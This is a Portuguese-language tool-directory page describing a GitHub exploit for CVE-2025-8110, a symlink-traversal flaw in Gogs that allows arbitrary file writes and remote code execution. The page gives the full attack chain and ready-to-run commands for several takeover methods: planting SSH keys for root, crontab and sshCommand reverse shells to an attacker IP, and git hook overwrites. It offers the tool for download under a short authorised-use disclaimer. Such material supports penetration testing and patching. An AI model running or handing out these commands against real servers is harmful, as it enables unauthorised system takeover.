Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-8110 — Gogs Symlink Traversal → RCE | Kitploit
Ferramentas/GitHubGitHub/popyue/cve-2025-8110
Privilege EscalationVulnerability AnalysisExploitationLateral MovementWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingPayload Development
GitHubpopyue/cve-2025-8110

CVE-2025-8110

Gogs Symlink Traversal → RCE

há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório

CVE-2025-8110 — Traversal de Symlink no Gogs → RCE

Visão Geral

CVE-2025-8110 é uma vulnerabilidade crítica no Gogs (serviço Git auto-hospedado) versões <= 0.13.3. A API PutContents valida caminhos de arquivo contra traversal de diretório (../), mas não resolve links simbólicos antes de escrever. Um usuário autenticado pode enviar um commit contendo um symlink apontando para qualquer arquivo do servidor e, em seguida, chamar PutContents nesse symlink para sobrescrever o arquivo real com conteúdo controlado pelo atacante.

Isso é uma bypass da correção anterior da CVE-2024-55947, que apenas abordava traversal direto de caminho, mas não traversal baseada em symlink.

DetalheValor
CVECVE-2025-8110
AfetadasGogs <= 0.13.3
CorrigidaGogs 0.13.4
TipoEscrita Arbitrária de Arquivo Autenticada → RCE
CVSS8.8 (Alta)
ComponenteAPI PutContents (/api/v1/repos/:owner/:repo/contents/:path)

Requisitos

  • Python 3.8+
  • requests (pip install requests)
  • git CLI
  • Uma conta Gogs válida na instância alvo

Estratégias RCE

Este exploit suporta 4 estratégias RCE embutidas mais um modo de escrita genérico de arquivo:

Uso

root@kitploit:~
# Check if target is vulnerable (no credentials needed)
python3 exploit.py http://target:3000 --check-only

# Strategy A: Plant SSH key for root access
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-keys ~/.ssh/id_rsa.pub --cleanup

# Strategy B: Crontab reverse shell
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-cron --lhost 10.10.14.5 --lport 4444

# Strategy C: sshCommand injection
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-ssh --lhost 10.10.14.5 --lport 4444

# Strategy D: Git hook injection
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-hook --lhost 10.10.14.5 --lport 4444

# Generic file write
python3 exploit.py http://target:3000 -u user -p pass \
    --write --target-file /tmp/pwned --content "proof-of-concept"

# Write from local file
python3 exploit.py http://target:3000 -u user -p pass \
    --write --target-file /root/.ssh/authorized_keys \
    --content-file ~/.ssh/id_rsa.pub

Detalhes da Cadeia de Ataque

  1. Autenticar — Criar um token de API via Autenticação Básica (POST /api/v1/users/:user/tokens) - Login via token de API (Autenticação Básica)
  2. Criar repositório — POST /api/v1/user/repos com auto_init: true
  3. Enviar symlink — Clonar o repositório via HTTP (credenciais incorporadas na URL), criar um symlink apontando para o arquivo alvo, commit & push (git clone -> os.symlink(target) -> git push)
  4. Escrever através do symlink — PUT /api/v1/repos/:owner/:repo/contents/:link com conteúdo codificado em base64. O Gogs resolve o symlink no disco e escreve no arquivo real
  5. Acionar RCE — O gatilho do RCE depende da estratégia (login SSH, execução do cron, avaliação do sshCommand ou execução do hook)

Opções

root@kitploit:~
target                  URL base do Gogs (ex.: http://target:3000)

Autenticação:
  -u, --user            Nome de usuário do Gogs
  -p, --password        Senha do Gogs

Estratégias RCE:
  --rce-keys PUBKEY     Plantar chave pública SSH → /root/.ssh/authorized_keys
  --rce-cron            Reverse shell → /etc/crontab
  --rce-ssh             Envenenar .git/config sshCommand + gatilho
  --rce-hook            Sobrescrever hook pre-receive + gatilho
  --write               Escrita genérica arbitrária de arquivo

Conexão / Payload:
  --lhost LHOST         IP do atacante para reverse shell
  --lport LPORT         Porta do atacante para reverse shell
  --target-file PATH    Caminho no servidor para sobrescrever (modo --write)
  --content STRING      Conteúdo para escrever
  --content-file FILE   Arquivo local para escrever

Opções:
  --repo NAME           Nome do repositório (padrão: aleatório)
  --cleanup             Excluir repositório do exploit após conclusão
  -o, --output FILE     Arquivo de relatório (padrão: loot.json)
  --timeout SECONDS     Timeout da requisição (padrão: 15)
  --proxy URL           Proxy HTTP para depuração
  --check-only          Apenas verificar se o alvo é Gogs, não explorar

Referências

  • Blog de Pesquisa Wiz
  • NVD — CVE-2025-8110
  • PR #8078 do Patch do Gogs
  • GHSA-mq8m-42gh-wq7r

Aviso

Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. O autor não se responsabiliza pelo uso indevido. Use somente em sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar.

Baixar ferramenta
EstratégiaFlagArquivo AlvoGatilho
A — Chaves SSH--rce-keys/root/.ssh/authorized_keysLogin SSH
B — Crontab--rce-cron/etc/crontabAutomático (dentro de 60s)
C — sshCommand--rce-ssh.git/configOperação git SSH
D — Git Hook--rce-hookhooks/pre-receivegit push
Genérico--writeQualquer caminhoManual